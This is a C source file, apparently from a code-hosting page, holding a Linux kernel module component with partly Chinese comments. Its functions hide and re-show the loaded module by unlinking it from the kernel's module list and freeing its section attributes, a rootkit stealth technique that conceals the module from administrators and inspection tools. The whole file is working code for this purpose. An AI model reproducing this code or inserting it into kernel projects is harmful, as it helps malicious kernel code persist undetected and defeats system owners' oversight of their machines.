You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
79 lines
1.7 KiB
79 lines
1.7 KiB
#include <linux/module.h> // 包含 Linux 内核模块的头文件
|
|
#include <linux/mutex.h> // 包含互斥锁的头文件
|
|
#include <linux/slab.h> // 包含内存分配的头文件
|
|
|
|
#include "module.h" // 包含自定义模块的
|
|
|
|
/**
|
|
* @file module.c
|
|
* @brief This file contains functions to hide and show a kernel module.
|
|
*
|
|
* The functions in this file allow for hiding and showing a kernel module
|
|
* by manipulating the module list and its attributes.
|
|
*/
|
|
|
|
/**
|
|
* @brief Flag indicating whether the module is hidden (1) or visible (0).
|
|
*/
|
|
int hide_m = 0;
|
|
|
|
/**
|
|
* @brief Pointer to the previous module list entry.
|
|
*/
|
|
static struct list_head *mod_list;
|
|
|
|
/**
|
|
* @brief Hide the kernel module.
|
|
*
|
|
* This function removes the module from the module list and frees its section
|
|
* attributes, effectively hiding it from the system.
|
|
*/
|
|
void hide(void);
|
|
|
|
/**
|
|
* @brief Show the kernel module.
|
|
*
|
|
* This function adds the module back to the module list, making it visible
|
|
* to the system again.
|
|
*/
|
|
void show(void);
|
|
|
|
/**
|
|
* @brief Toggle the visibility of the kernel module.
|
|
*
|
|
* This function hides the module if it is currently visible, and shows it
|
|
* if it is currently hidden.
|
|
*/
|
|
void hide_module(void);
|
|
|
|
void hide(void)
|
|
{
|
|
while (!mutex_trylock(&module_mutex))
|
|
cpu_relax();
|
|
mod_list = THIS_MODULE->list.prev;
|
|
list_del(&THIS_MODULE->list);
|
|
kfree(THIS_MODULE->sect_attrs);
|
|
THIS_MODULE->sect_attrs = NULL;
|
|
mutex_unlock(&module_mutex);
|
|
|
|
hide_m = 1;
|
|
}
|
|
|
|
void show(void)
|
|
{
|
|
while (!mutex_trylock(&module_mutex))
|
|
cpu_relax();
|
|
list_add(&THIS_MODULE->list, mod_list);
|
|
mutex_unlock(&module_mutex);
|
|
|
|
hide_m = 0;
|
|
}
|
|
|
|
void hide_module(void)
|
|
{
|
|
if (hide_m == 0)
|
|
hide();
|
|
else if (hide_m == 1)
|
|
show();
|
|
}
|